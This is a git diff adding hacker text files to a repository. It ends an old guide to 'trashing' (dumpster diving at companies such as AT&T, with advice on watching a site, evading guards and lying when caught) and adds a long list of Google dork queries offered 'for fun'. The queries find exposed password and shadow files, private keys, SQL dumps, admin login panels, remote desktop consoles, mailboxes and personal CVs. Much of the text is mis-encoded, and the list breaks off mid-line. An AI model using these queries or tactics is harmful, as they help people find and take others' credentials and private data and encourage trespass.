bluntly, the "inspection" of companies, schools, +peoples, etc. trash dumsters for the purpose of finding important material +that a person might find useful. (SOME MAY REASON THAT IF TRASHING IS GOOD +ENOUGH FOR THE POLICE TO DO, ACCORDING TO THE U.S. SUPREME COURT, THEN IT +MUST BE GOOD ENOUGH FOR THE PEOPLE TO DO) + +THE ART OF TRASHING +------------------- + Before attempting to trash a certain place (for example, I will use a +local AT&T building), you might find it useful to follow the "rules" of the +trasher. + +Before you begin to dive into the nearest dumpster, first find out about the +security (if any) by watching the building for a few days and take notes on +what goes on, in, and around the building. Next, find out the garbage +truck(s) route and schedule so you can trash at the most beneficial times. +To truly trash, you must be willing to climb into the trash dumpster(s) and +be prepared to dig for the "gold." You must climb all the way in and dig +around because most of the important trash is usually at the bottom (huge +print-outs, heavy memo books, etc). You cannot just run over and reach for +the nearest bag, you might find something useful but most probably you will +find someones used coffee cup. + +After removing the trash you think you might find interesting, do not rummage +thru the selected garbage there, wait till you are in a secluded spot, a +forest or your home (only if you live nearby because the trash can be very +heavy if you don't have a car) for example. + +GETTING CAUGHT +-------------- + The probability of getting caught is very slim (except for AT&T offices +and things of that sort). Here is a true life example: + +It was a cold and dark night and a few friends and I were only on our seventh +time of trashing. All was cool until, from a distant side door a guard came +running out to see what we were doing. Having been surprised and having no +way of escaping (I was buried deep in the garbage and certainly had no chance +to escape), we waited for the guard to arrive. the guard rushed over and +said, "What are you doing here? This is private property!" + +After looking at me and doing a double take he then added, "What the hell are +you doing in there???" We were quite nervous and after about a minute or so +one of my friends said, "Oh, we were just walking thru the forest and we +took a short cut thru here." I thought that that was a stupid thing to say +becuase why would we take a short cut thru a trash dumpster?!! To my +surprise, however, the guard said, "Well, OK, but don't come around here +again or you will be arrested!" We left and returned the next day for a +successful night. + +WHAT THEY CAN DO +---------------- +If you ever get caught, they (the company - usually security) will most +probably let you go and not do anything about it because it sounds pretty +funny saying, "I want him (them) prosecuted for taking out the garbage!" The +only thing they can really do is to get you for trespassing which they don't +usually do to nice kids anyway, although AT&T has been known to prosecute +anyone caught in their garbage. + +COMMENTS +-------- + Most of the time, you don't have to worry about food and other +interesting trash (except if you like to recycle used food and in that case +you are probably too fat to fit in a trash dumpster) because big companies +usually have separate dumpsters for cafeteria food. + +I recommend that you trash with as many people as you can because it will be +much quicker and safer because some people can be "look outs" (do not trash +with over seven people though, because it begins to get noisy). Don't feel +threatened by bright security lights or guards, they are usually easy to +avoid and since there are not usually bright lights near or on the trash +dumpsters, you will be home free. + +Of course, all of the above does not count for AT&T. AT&T has since become +aware of the trasher and has one or even all of the following securities: + (1) A lock on the trash dumpster. + (2) Dumpsters flooded by bright security lights. + (3) Guards located near or sometimes at the dumpsters. + (4) Fence and barbed wire enclosing dumpsters. + (5) Shredded garbage (the trasher's worst nightmare) + +There are more, but these are the most popular. + +Trashing is an art, so if at first you don't succeed, trash, trash again. + +rash again diff --git a/src/Security/Technical Papers and Notes/Docs/Super Google Hacks.txt b/src/Security/Technical Papers and Notes/Docs/Super Google Hacks.txt new file mode 100644 index 0000000..2bc0d0c --- /dev/null +++ b/src/Security/Technical Papers and Notes/Docs/Super Google Hacks.txt @@ -0,0 +1,777 @@ +Each of these things can be copied and pasted into Google search for some good old fashioned fun! Enjoy! + +admin account infoโ€ filetype:log +!Host=*.* intext:enc_UserPassword=* ext:pcf +โ€œ# -FrontPage-โ€ ext:pwd inurl:(service | authors | administrators | users) โ€œ# -FrontPage-โ€ inurl:service.pwd +โ€œAutoCreate=TRUE password=*โ€ +โ€œhttp://*:*@wwwโ€ domainname +โ€œindex of/โ€ โ€œws_ftp.iniโ€ โ€œparent directoryโ€ +โ€œliveice configuration fileโ€ ext:cfg -site:sourceforge.net +โ€œparent directoryโ€ +proftpdpasswd +Duclassifiedโ€ -site:duware.com โ€œDUware All Rights reservedโ€ +duclassmateโ€ -site:duware.com +Dudirectoryโ€ -site:duware.com +dudownloadโ€ -site:duware.com +Elite Forum Version *.*โ€ +Link Departmentโ€ +โ€œsets mode: +kโ€ +โ€œyour password isโ€ filetype:log +DUpaypalโ€ -site:duware.com +allinurl: admin mdb +auth_user_file.txt +config.php +eggdrop filetype:user user +enable password | secret โ€œcurrent configurationโ€ -intext:the +etc (index.of) +ext:asa | ext:bak intext:uid intext:pwd -โ€uid..pwdโ€ database | server | dsn +ext:inc โ€œpwd=โ€ โ€œUID=โ€ +ext:ini eudora.ini +ext:ini Version=4.0.0.4 password +ext:passwd -intext:the -sample -example +ext:txt inurl:unattend.txt +ext:yml database inurl:config +filetype:bak createobject sa +filetype:bak inurl:โ€htaccess|passwd|shadow|htusersโ€ +filetype:cfg mrtg โ€œtarget +filetype:cfm โ€œcfapplication nameโ€ password +filetype:conf oekakibbs +filetype:conf slapd.conf +filetype:config config intext:appSettings โ€œUser IDโ€ +filetype:dat โ€œpassword.datโ€ +filetype:dat inurl:Sites.dat +filetype:dat wand.dat +filetype:inc dbconn +filetype:inc intext:mysql_connect +filetype:inc mysql_connect OR mysql_pconnect +filetype:inf sysprep +filetype:ini inurl:โ€serv-u.iniโ€ +filetype:ini inurl:flashFXP.ini +filetype:ini ServUDaemon +filetype:ini wcx_ftp +filetype:ini ws_ftp pwd +filetype:ldb admin +filetype:log โ€œSee `ipsec โ€“copyrightโ€ +filetype:log inurl:โ€password.logโ€ +filetype:mdb inurl:users.mdb +filetype:mdb wwforum +filetype:netrc password +filetype:pass pass intext:userid +filetype:pem intext:private +filetype:properties inurl:db intext:password +filetype:pwd service +filetype:pwl pwl +filetype:reg reg +intext:โ€defaultusernameโ€ +intext:โ€defaultpasswordโ€ +filetype:reg reg +intext:รข? WINVNC3รข? +filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS +filetype:sql โ€œinsert intoโ€ (pass|passwd|password) +filetype:sql (โ€œvalues * MD5โ€ณ | โ€œvalues * passwordโ€ | โ€œvalues * encryptโ€) +filetype:sql +โ€IDENTIFIED BYโ€ -cvs +filetype:sql password +filetype:url +inurl:โ€ftp://โ€ +inurl:โ€;@โ€ +filetype:xls username password email +htpasswd +htpasswd / htgroup +htpasswd / htpasswd.bak +intext:โ€enable password 7โ€ณ +intext:โ€enable secret 5 $โ€ +intext:โ€EZGuestbookโ€ +intext:โ€Web Wiz Journalโ€ +intitle:โ€index ofโ€ intext:connect.inc +intitle:โ€index ofโ€ intext:globals.inc +intitle:โ€Index ofโ€ passwords modified +intitle:โ€Index ofโ€ sc_serv.conf sc_serv content +intitle:โ€phpinfo()โ€ +โ€mysql.default_passwordโ€ +โ€Zend s?ri?ting Language Engineโ€ +intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com +intitle:index.of administrators.pwd +intitle:Index.of etc shadow +intitle:index.of intext:โ€secring.skrโ€|โ€secring.pgpโ€|โ€secring.bakโ€ +intitle:rapidshare intext:login +inurl:โ€calendars?ri?t/users.txtโ€ +inurl:โ€editor/list.aspโ€ | inurl:โ€database_editor.aspโ€ | inurl:โ€login.asaโ€ โ€œare setโ€ +inurl:โ€GRC.DATโ€ intext:โ€passwordโ€ +inurl:โ€Sites.datโ€+โ€PASS=โ€ +inurl:โ€slapd.confโ€ intext:โ€credentialsโ€ -manpage -โ€Manual Pageโ€ -man: -sample +inurl:โ€slapd.confโ€ intext:โ€rootpwโ€ -manpage -โ€Manual Pageโ€ -man: -sample +inurl:โ€wvdial.confโ€ intext:โ€passwordโ€ +inurl:/db/main.mdb +inurl:/wwwboard +inurl:/yabb/Members/Admin.dat +inurl:ccbill filetype:log +inurl:cgi-bin inurl:calendar.cfg +inurl:chap-secrets -cvs +inurl:config.php dbuname dbpass +inurl:filezilla.xml -cvs +inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man +inurl:nuke filetype:sql +inurl:ospfd.conf intext:password -sample -test -tutorial -download +inurl:pap-secrets -cvs +inurl:pass.dat +inurl:perform filetype:ini +inurl:perform.ini filetype:ini +inurl:secring ext:skr | ext:pgp | ext:bak +inurl:server.cfg rcon password +inurl:ventrilo_srv.ini adminpassword +inurl:vtund.conf intext:pass -cvs +inurl:zebra.conf intext:password -sample -test -tutorial -download +LeapFTP intitle:โ€index.of./โ€ sites.ini modified +master.passwd +mysql history files +NickServ registration passwords +passlist +passlist.txt (a better way) +passwd +passwd / etc (reliable) +people.lst +psyBNC config files +pwd.db +server-dbs โ€œintitle:index ofโ€ +signin filetype:url +spwd.db / passwd +trillian.ini +wwwboard WebAdmin inurl:passwd.txt wwwboard|webadmin +[WFClient] Password= filetype:ica +intitle:โ€remote assessmentโ€ OpenAanval Console +intitle:opengroupware.org โ€œresistance is obsoleteโ€ โ€œReport Bugsโ€ โ€œUsernameโ€ โ€œpasswordโ€ +โ€œbp blog adminโ€ intitle:login | intitle:admin -site:johnny.ihackstuff.com +โ€œEmergisoft web applications are a part of ourโ€ +โ€œEstablishing a secure Integrated Lights Out session withโ€ OR intitle:โ€Data Frame โ€“ Browser not HTTP 1.1 compatibleโ€ OR intitle:โ€HP Integrated Lights- +โ€œHostingAcceleratorโ€ intitle:โ€loginโ€ +โ€Usernameโ€ -โ€newsโ€ -demo +โ€œiCONECT 4.1 :: Loginโ€ +โ€œIMail Server Web Messagingโ€ intitle:login +โ€œinspanelโ€ intitle:โ€loginโ€ -โ€cannotโ€ โ€œLogin IDโ€ -site:inspediumsoft.com +โ€œintitle:3300 Integrated Communications Platformโ€ inurl:main.htm +โ€œLogin โ€“ Sun Cobalt RaQโ€ +โ€œlogin promptโ€ inurl:GM.cgi +โ€œLogin to Userminโ€ inurl:20000 +โ€œMicrosoft CRM : Unsupported Browser Versionโ€ +โ€œOPENSRS Domain Managementโ€ inurl:manage.cgi +โ€œpcANYWHERE EXPRESS Java Clientโ€ +โ€œPlease authenticate yourself to get access to the management interfaceโ€ +โ€œplease log inโ€ +โ€œPlease login with admin passโ€ -โ€leakโ€ -sourceforge +CuteNewsโ€ โ€œ2003..2005 CutePHPโ€ +DWMailโ€ password intitle:dwmail +Merak Mail Server Softwareโ€ -.gov -.mil -.edu -site:merakmailserver.com +Midmart Messageboardโ€ โ€œAdministrator Loginโ€ +Monster Top Listโ€ MTL numrange:200- +UebiMiauโ€ -site:sourceforge.net +โ€œsite info forโ€ โ€œEnter Admin Passwordโ€ +โ€œSquirrelMail versionโ€ โ€œBy the SquirrelMail development Teamโ€ +โ€œSysCP โ€“ loginโ€ +โ€œThis is a restricted Access Serverโ€ โ€œJavas?ri?t Not Enabled!โ€|โ€Messenger Expressโ€ -edu -ac +โ€œThis section is for Administrators only. If you are an administrator then pleaseโ€ +โ€œttawlogin.cgi/?action=โ€ +โ€œVHCS Pro verโ€ -demo +โ€œVNC Desktopโ€ inurl:5800 +โ€œWeb-Based Managementโ€ โ€œPlease input password to loginโ€ -inurl:johnny.ihackstuff.com +โ€œWebExplorer Server โ€“ Loginโ€ โ€œWelcome to WebExplorer Serverโ€ +โ€œWebSTAR Mail โ€“ Please Log Inโ€ +โ€œYou have requested access to a restricted area of our website. Please authenticate yourself to continue.โ€ +โ€œYou have requested to access the management functionsโ€ -.edu +(intitle:โ€Please login โ€“ Forums +UBB.threadsโ€)|(inurl:login.php โ€œubbโ€) +(intitle:โ€Please login โ€“ Forums +WWWThreadsโ€)|(inurl:โ€wwwthreads/login.phpโ€)|(inurl:โ€wwwthreads/login.pl?Cat=โ€) +(intitle:โ€rymo Loginโ€)|(intext:โ€Welcome to rymoโ€) -family +(intitle:โ€WmSC e-Cart Administrationโ€)|(intitle:โ€WebMyStyle e-Cart Administrationโ€) +(inurl:โ€ars/cgi-bin/arweb?O=0โ€ณ | inurl:arweb.jsp) -site:remedy.com -site:mil +4images Administration Control Panel +allintitle:โ€Welcome to the Cycladesโ€ +allinurl:โ€exchange/logon.aspโ€ +allinurl:wps/portal/ login +ASP.login_aspx โ€œASP.NET_SessionIdโ€ +CGI:IRC Login +ext:cgi intitle:โ€control panelโ€ โ€œenter your owner password to continue!โ€ +ez Publish administration +filetype:php inurl:โ€webeditor.phpโ€ +filetype:pl โ€œDownload: SuSE Linux Openexchange Server CAโ€ +filetype:r2w r2w +intext:โ€"BiTBOARD v2.0โ€ณ BiTSHiFTERS Bulletin Boardโ€ +intext:โ€Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed.โ€ -edu +intext:โ€Mail admins login here to administrate your domain.โ€ +intext:โ€Master Accountโ€ โ€œDomain Nameโ€ โ€œPasswordโ€ inurl:/cgi-bin/qmailadmin +intext:โ€Master Accountโ€ โ€œDomain Nameโ€ โ€œPasswordโ€ inurl:/cgi-bin/qmailadmin +intext:โ€Storage Management Server forโ€ intitle:โ€Server Administrationโ€ +intext:โ€Welcome toโ€ inurl:โ€cpโ€ intitle:โ€H-SPHEREโ€ inurl:โ€begin.htmlโ€ -Fee +intext:โ€vbulletinโ€ inurl:admincp +intitle:โ€*- HP WBEM Loginโ€ | โ€œYou are being prompted to provide login account information for *โ€ | โ€œPlease provide the information requested and press +intitle:โ€Admin Loginโ€ โ€œadmin loginโ€ โ€œblogwareโ€ +intitle:โ€Admin loginโ€ โ€œWeb Site Administrationโ€ โ€œCopyrightโ€ +intitle:โ€AlternC Desktopโ€ +intitle:โ€Athens Authentication Pointโ€ +intitle:โ€b2evo > Login formโ€ โ€œLogin form. You must log in! You will have to accept cookies in order to log inโ€ -demo -site:b2evolution.net +intitle:โ€Cisco CallManager User Options Log Onโ€ โ€œPlease enter your User ID and Password in the spaces provided below and click the Log On button to co +intitle:โ€ColdFusion Administrator Loginโ€ +intitle:โ€communigate pro * *โ€ intitle:โ€entranceโ€ +intitle:โ€Content Management Systemโ€ โ€œuser nameโ€|โ€passwordโ€|โ€adminโ€ โ€œMicrosoft IE 5.5โ€ณ -mambo +intitle:โ€Content Management Systemโ€ โ€œuser nameโ€|โ€passwordโ€|โ€adminโ€ โ€œMicrosoft IE 5.5โ€ณ -mambo +intitle:โ€Dell Remote Access Controllerโ€ +intitle:โ€Docutek ERes โ€“ Admin Loginโ€ -edu +intitle:โ€Employee Intranet Loginโ€ +intitle:โ€eMule *โ€ intitle:โ€- Web Control Panelโ€ intext:โ€Web Control Panelโ€ โ€œEnter your password here.โ€ +intitle:โ€ePowerSwitch Loginโ€ +intitle:โ€eXist Database Administrationโ€ -demo +intitle:โ€EXTRANET * โ€“ Identificationโ€ +intitle:โ€EXTRANET loginโ€ -.edu -.mil -.gov +intitle:โ€EZPartnerโ€ -netpond +intitle:โ€Flash Operator Panelโ€ -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists +intitle:โ€i-secure v1.1โ€ณ -edu +intitle:โ€Icecast Administration Admin Pageโ€ +intitle:โ€iDevAffiliate โ€“ adminโ€ -demo +intitle:โ€ISPMan : Unauthorized Access prohibitedโ€ +intitle:โ€ITS System Informationโ€ โ€œPlease log on to the SAP Systemโ€ +intitle:โ€Kurant Corporation StoreSenseโ€ filetype:bok +intitle:โ€ListMail Loginโ€ admin -demo +intitle:โ€Login - +Easy File Sharing Web Serverโ€ +intitle:โ€Login Forum +AnyBoardโ€ intitle:โ€If you are a new user:โ€ intext:โ€Forum +AnyBoardโ€ inurl:gochat -edu +intitle:โ€Login to @Mailโ€ (ext:pl | inurl:โ€indexโ€) -dwaffleman +intitle:โ€Login to Cactiโ€ +intitle:โ€Login to the forums โ€“ @www.aimoo.comโ€ inurl:login.cfm?id= +intitle:โ€MailMan Loginโ€ +intitle:โ€Member Loginโ€ โ€œNOTE: Your browser must have cookies enabled in order to log into the site.โ€ ext:php OR ext:cgi +intitle:โ€Merak Mail Server Web Administrationโ€ -ihackstuff.com +intitle:โ€microsoft certificate servicesโ€ inurl:certsrv +intitle:โ€MikroTik RouterOS Managing Webpageโ€ +intitle:โ€MX Control Consoleโ€ โ€œIf you canโ€™t rememberโ€ +intitle:โ€Novell Web Servicesโ€ โ€œGroupWiseโ€ -inurl:โ€doc/11924โ€ณ -.mil -.edu -.gov -filetype:pdf +intitle:โ€Novell Web Servicesโ€ intext:โ€Select a service and a language.โ€ +intitle:โ€oMail-admin Administration โ€“ Loginโ€ -inurl:omnis.ch +intitle:โ€OnLine Recruitment Program โ€“ Loginโ€ +intitle:โ€Philex 0.2*โ€ -s?ri?t -site:freelists.org +intitle:โ€PHP Advanced Transferโ€ inurl:โ€login.phpโ€ +intitle:โ€php icalendar administrationโ€ -site:sourceforge.net +intitle:โ€php icalendar administrationโ€ -site:sourceforge.net +intitle:โ€phpPgAdmin โ€“ Loginโ€ Language +intitle:โ€PHProjekt โ€“ loginโ€ login password +intitle:โ€please loginโ€ โ€œyour password is *โ€ +intitle:โ€Remote Desktop Web Connectionโ€ inurl:tsweb +intitle:โ€SFXAdmin โ€“ sfx_globalโ€ | intitle:โ€SFXAdmin โ€“ sfx_localโ€ | intitle:โ€SFXAdmin โ€“ sfx_testโ€ +intitle:โ€SHOUTcast Administratorโ€ inurl:admin.cgi +intitle:โ€site administration: please log inโ€ โ€œsite designed by emarketsouthโ€ +intitle:โ€Supero Doctor IIIโ€ -inurl:supermicro +intitle:โ€SuSE Linux Openexchange Serverโ€ โ€œPlease activate Javas?ri?t!โ€ +intitle:โ€teamspeak server-administration +intitle:โ€Tomcat Server Administrationโ€ +intitle:โ€TOPdesk ApplicationServerโ€ +intitle:โ€TUTOS Loginโ€ +intitle:โ€TWIG Loginโ€ +intitle:โ€vhostโ€ intext:โ€vHost . 2000-2004โ€ณ +intitle:โ€Virtual Server Administration Systemโ€ +intitle:โ€VisNetic WebMailโ€ inurl:โ€/mail/โ€ +intitle:โ€VitalQIP IP Management Systemโ€ +intitle:โ€VMware Management Interface:โ€ inurl:โ€vmware/en/โ€ +intitle:โ€VNC viewer for Javaโ€ +intitle:โ€web-cyradmโ€|โ€by Luc de Louwโ€ โ€œThis is only for authorized usersโ€ -tar.gz -site:web-cyradm.org +intitle:โ€WebLogic Serverโ€ intitle:โ€Console Loginโ€ inurl:console +intitle:โ€Welcome Site/User Administratorโ€ โ€œPlease select the languageโ€ -demos +intitle:โ€Welcome to Mailtraq WebMailโ€ +intitle:โ€welcome to netware *โ€ -site:novell.com +intitle:โ€WorldClientโ€ intext:โ€? (2003|2004) Alt-N Technologies.โ€ +intitle:โ€xams 0.0.0..15 โ€“ Loginโ€ +intitle:โ€XcAuctionLiteโ€ | โ€œDRIVEN BY XCENTโ€ Lite inurl:admin +intitle:โ€XMail Web Administration Interfaceโ€ intext:Login intext:password +intitle:โ€Zope Help Systemโ€ inurl:HelpSys +intitle:โ€ZyXEL Prestige Routerโ€ โ€œEnter passwordโ€ +intitle:โ€inc. vpn 3000 concentratorโ€ +intitle:(โ€œTrackerCam Live Videoโ€)|(โ€œTrackerCam Application Loginโ€)|(โ€œTrackercam Remoteโ€) -trackercam.com +intitle:asterisk.management.portal web-access +intitle:endymion.sak?.mail.login.page | inurl:sake.servlet +intitle:Group-Office โ€œEnter your username and password to loginโ€ +intitle:ilohamail โ€ +IlohaMailโ€ +intitle:ilohamail intext:โ€Version 0.8.10โ€ณ โ€ +IlohaMailโ€ +intitle:IMP inurl:imp/index.php3 +intitle:Login * Webmailer +intitle:Login intext:โ€RT is ? Copyrightโ€ +intitle:Node.List Win32.Version.3.11 +intitle:Novell intitle:WebAccess โ€œCopyright *-* Novell, Incโ€ +intitle:open-xchange inurl:login.pl +intitle:Ovislink inurl:private/login +intitle:phpnews.login +intitle:plesk inurl:login.php3 +inurl:โ€/admin/configuration. php?โ€ Mystore +inurl:โ€/slxweb.dll/external?name=(custportal|webticketcust)โ€ +inurl:โ€1220/parse_xml.cgi?โ€ +inurl:โ€631/adminโ€ (inurl:โ€op=*โ€) | (intitle:CUPS) +inurl:โ€:10000โ€ณ intext:webmin +inurl:โ€Activex/default.htmโ€ โ€œDemoโ€ +inurl:โ€calendar.asp?action=loginโ€ +inurl:โ€default/login.phpโ€ intitle:โ€kerioโ€ +inurl:โ€gs/adminlogin.aspxโ€ +inurl:โ€php121login.phpโ€ +inurl:โ€suse/login.plโ€ +inurl:โ€typo3/index.php?u=โ€ -demo +inurl:โ€usysinfo?login=trueโ€ +inurl:โ€utilities/TreeView.aspโ€ +inurl:โ€vsadmin/loginโ€ | inurl:โ€vsadmin/adminโ€ inurl:.php|.asp + +Code: + +nurl:/admin/login.asp +inurl:/cgi-bin/sqwebmail?noframes=1 +inurl:/Citrix/Nfuse17/ +inurl:/dana-na/auth/welcome.html +inurl:/eprise/ +inurl:/Merchant2/admin.mv | inurl:/Merchant2/admin.mvc | intitle:โ€Miva Merchant Administration Loginโ€ -inurl:cheap-malboro.net +inurl:/modcp/ intext:Moderator+vBulletin +inurl:/SUSAdmin intitle:โ€Microsoft Software upd?t? Servicesโ€ +inurl:/webedit.* intext:WebEdit Professional -html +inurl:1810 โ€œOracle Enterprise Managerโ€ +inurl:2000 intitle:RemotelyAnywhere -site:realvnc.com +inurl::2082/frontend -demo +inurl:administrator โ€œwelcome to mamboโ€ +inurl:bin.welcome.sh | inurl:bin.welcome.bat | intitle:eHealth.5.0 +inurl:cgi-bin/ultimatebb.cgi?ubb=login +inurl:Citrix/MetaFrame/default/default.aspx +inurl:confixx inurl:login|anmeldung +inurl:coranto.cgi intitle:Login (Authorized Users Only) +inurl:csCreatePro.cgi +inurl:default.asp intitle:โ€WebCommanderโ€ +inurl:exchweb/bin/auth/owalogon.asp +inurl:gnatsweb.pl +inurl:ids5web +inurl:irc filetype:cgi cgi:irc +inurl:login filetype:swf swf +inurl:login.asp +inurl:login.cfm +inurl:login.php โ€œSquirrelMail versionโ€ +inurl:metaframexp/default/login.asp | intitle:โ€Metaframe XP Loginโ€ +inurl:mewebmail +inurl:names.nsf?opendatabase +inurl:ocw_login_username +inurl:orasso.wwsso_app_admin.ls_login +inurl:postfixadmin intitle:โ€postfix adminโ€ ext:php +inurl:search/admin.php +inurl:textpattern/index.php +inurl:WCP_USER +inurl:webmail./index.pl โ€œInterfaceโ€ +inurl:webvpn.html โ€œloginโ€ โ€œPlease enter yourโ€ +Login (โ€ +Jetbox One CMS รข?ยขโ€ | โ€ +Jetstream ? *โ€) +Novell NetWare intext:โ€netware management portal versionโ€ +Outlook Web Access (a better way) +PhotoPost PHP Upload +PHPhotoalbum Statistics +PHPhotoalbum Upload +phpWebMail +Please enter a valid password! inurl:polladmin + +INDEXU +Ultima Online loginservers +W-Nailer Upload Area +intitle:โ€DocuShareโ€ inurl:โ€docushare/dsweb/โ€ -faq -gov -edu +โ€œ#mysql dumpโ€ filetype:sql +โ€œ#mysql dumpโ€ filetype:sql 21232f297a57a5a743894a0e4a801fc3 +โ€œallow_call_time_pass_referenceโ€ โ€œPATH_INFOโ€ +โ€œCertificate Practice Statementโ€ inurl:(PDF | DOC) +โ€œGenerated by phpSystemโ€ +โ€œgenerated by wwwstatโ€ +โ€œHost Vulnerability Summary Reportโ€ +โ€œHTTP_FROM=googlebotโ€ googlebot.com โ€œServer_Software=โ€ +โ€œIndex ofโ€ / โ€œchat/logsโ€ +โ€œInstalled Objects Scannerโ€ inurl:default.asp +โ€œMacHTTPโ€ filetype:log inurl:machttp.log +โ€œMecury Versionโ€ โ€œInfastructure Groupโ€ +โ€œMicrosoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)โ€ ext:log +โ€œMost Submitted Forms and s?ri?tsโ€ โ€œthis sectionโ€ +โ€œNetwork Vulnerability Assessment Reportโ€ +โ€œnot for distributionโ€ confidential +โ€œnot for public releaseโ€ -.edu -.gov -.mil +โ€œphone * * *โ€ โ€œaddress *โ€ โ€œe-mailโ€ intitle:โ€curriculum vitaeโ€ +โ€œphpMyAdminโ€ โ€œrunning onโ€ inurl:โ€main.phpโ€ +โ€œproduced by getstatsโ€ +โ€œRequest Detailsโ€ โ€œControl Treeโ€ โ€œServer Variablesโ€ +โ€œrobots.txtโ€ โ€œDisallow:โ€ filetype:txt +โ€œRunning in Child modeโ€ +โ€œsets mode: +pโ€ +โ€œsets mode: +sโ€ +โ€œThank you for your orderโ€ +receipt +โ€œThis is a Shareaza Nodeโ€ +โ€œThis report was generated by WebLogโ€ +( filetype:mail | filetype:eml | filetype:mbox | filetype:mbx ) intext:password|subject +(intitle:โ€PRTG Traffic Grapherโ€ inurl:โ€allsensorsโ€)|(intitle:โ€PRTG Traffic Grapher โ€“ Monitoring Resultsโ€) +(intitle:WebStatistica inurl:main.php) | (intitle:โ€WebSTATISTICA serverโ€) -inurl:statsoft -inurl:statsoftsa -inurl:statsoftinc.com -edu -software -rob +(inurl:โ€robot.txtโ€ | inurl:โ€robots.txtโ€ ) intext:disallow filetype:txt ++โ€:8080โ€ณ +โ€:3128โ€ณ +โ€:80โ€ณ filetype:txt ++โ€HSTSNRโ€ -โ€netop.comโ€ +-site:php.net -โ€The PHP Groupโ€ inurl:source inurl:url ext:pHp +94FBR โ€œADOBE PHOTOSHOPโ€ +AIM buddy lists +allinurl:/examples/jsp/snp/snoop.jsp +allinurl:cdkey.txt +allinurl:servlet/SnoopServlet +cgiirc.conf +cgiirc.conf +contacts ext:wml +data filetype:mdb -site:gov -site:mil +exported email addresses +ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:โ€budget approvedโ€) inurl:confidential +ext:asp inurl:pathto.asp +ext:ccm ccm -catacomb +ext:CDX CDX +ext:cgi inurl:editcgi.cgi inurl:file= +ext:conf inurl:rsyncd.conf -cvs -man +ext:conf NoCatAuth -cvs +ext:dat bpk.dat +ext:gho gho +ext:ics ics +ext:ini intext:env.ini +ext:jbf jbf +ext:ldif ldif +ext:log โ€œSoftware: Microsoft Internet Information Services *.*โ€ +ext:mdb inurl:*.mdb inurl:fpdb shop.mdb +ext:nsf nsf -gov -mil +ext:plist filetype:plist inurl:bookmarks.plist +ext:pqi pqi -database +ext:reg โ€œusername=*โ€ putty +ext:txt โ€œFinal encryption keyโ€ +ext:txt inurl:dxdiag +ext:vmdk vmdk +ext:vmx vmx +filetype:asp DBQ=โ€ * Server.MapPath(โ€œ*.mdbโ€) +filetype:bkf bkf +filetype:blt โ€œbuddylistโ€ +filetype:blt blt +intext:screenname +filetype:cfg auto_inst.cfg +filetype:cnf inurl:_vti_pvt access.cnf +filetype:conf inurl:firewall -intitle:cvs +filetype:config web.config -CVS +filetype:ctt Contact +filetype:ctt ctt messenger +filetype:eml eml +intext:โ€Subjectโ€ +intext:โ€Fromโ€ +intext:โ€Toโ€ +filetype:fp3 fp3 +filetype:fp5 fp5 -site:gov -site:mil -โ€cvs logโ€ +filetype:fp7 fp7 +filetype:inf inurl:capolicy.inf +filetype:lic lic intext:key +filetype:log access.log -CVS +filetype:log cron.log +filetype:mbx mbx intext:Subject +filetype:myd myd -CVS +filetype:ns1 ns1 +filetype:ora ora +filetype:ora tnsnames +filetype:pdb pdb backup (Pilot | Pluckerdb) +filetype:php inurl:index inurl:phpicalendar -site:sourceforge.net +filetype:pot inurl:john.pot +filetype:PS ps +filetype:pst inurl:โ€outlook.pstโ€ +filetype:pst pst -from -to -date +filetype:qbb qbb +filetype:QBW qbw +filetype:rdp rdp +filetype:reg โ€œTerminal Server Clientโ€ +filetype:vcs vcs +filetype:wab wab +filetype:xls -site:gov inurl:contact +filetype:xls inurl:โ€email.xlsโ€ +Financial spreadsheets: finance.xls +Financial spreadsheets: finances.xls +Ganglia Cluster Reports +haccess.ctl (one way) +haccess.ctl (VERY reliable) +ICQ chat logs, pleaseโ€ฆ +intext:โ€Session Start * * * *:*:* *โ€ filetype:log +intext:โ€Tobias Oetikerโ€ โ€œtraffic analysisโ€ +intext:(password | passcode) intext:(username | userid | user) filetype:csv +intext:gmail invite intext:http://gmail.google.com/gmail/a +intext:SQLiteManager inurl:main.php +intext:ViewCVS inurl:Settings.php +intitle:โ€admin panelโ€ +โ€ +RedKernelโ€ +intitle:โ€Apache::Statusโ€ (inurl:server-status | inurl:status.html | inurl:apache.html) +intitle:โ€AppServ Open Projectโ€ -site:www.appservnetwork.com +intitle:โ€ASP Stats Generator *.*โ€ โ€œASP Stats Generatorโ€ โ€œ2003-2004 wepposโ€ +intitle:โ€Big Sisterโ€ +โ€OK Attention Troubleโ€ +intitle:โ€curriculum vitaeโ€ filetype:doc +intitle:โ€edna:streaming mp3 serverโ€ -forums +intitle:โ€FTP root atโ€ +intitle:โ€index ofโ€ +myd size +intitle:โ€Index Ofโ€ -inurl:maillog maillog size +intitle:โ€Index Ofโ€ cookies.txt size +intitle:โ€index ofโ€ mysql.conf OR mysql_config +intitle:โ€Index ofโ€ upload size parent directory +intitle:โ€index.of *โ€ admin news.asp configview.asp +intitle:โ€index.ofโ€ .diz .nfo last modified +intitle:โ€Joomla โ€“ Web Installerโ€ +intitle:โ€LOGREP โ€“ Log file reporting systemโ€ -site:itefix.no +intitle:โ€Multimon UPS status pageโ€ +intitle:โ€PHP Advanced Transferโ€ (inurl:index.php | inurl:showrecent.php ) +intitle:โ€PhpMyExplorerโ€ inurl:โ€index.phpโ€ -cvs +intitle:โ€statistics ofโ€ โ€œadvanced web statisticsโ€ +intitle:โ€System Statisticsโ€ +โ€System and Network Information Centerโ€ +intitle:โ€urchin (5|3|admin)โ€ ext:cgi +intitle:โ€Usage Statistics forโ€ โ€œGenerated by Webalizerโ€ +intitle:โ€wbemโ€ compaq login โ€œCompaq Information Technologies Groupโ€ +intitle:โ€Web Server Statistics for ****โ€ +intitle:โ€web server statusโ€ SSH Telnet +intitle:โ€Welcome to F-Secure Policy Manager Server Welcome Pageโ€ +intitle:โ€welcome.to.squeezeboxโ€ +intitle:admin intitle:login +intitle:Bookmarks inurl:bookmarks.html โ€œBookmarks +intitle:index.of โ€œApacheโ€ โ€œserver atโ€ +intitle:index.of cleanup.log +intitle:index.of dead.letter 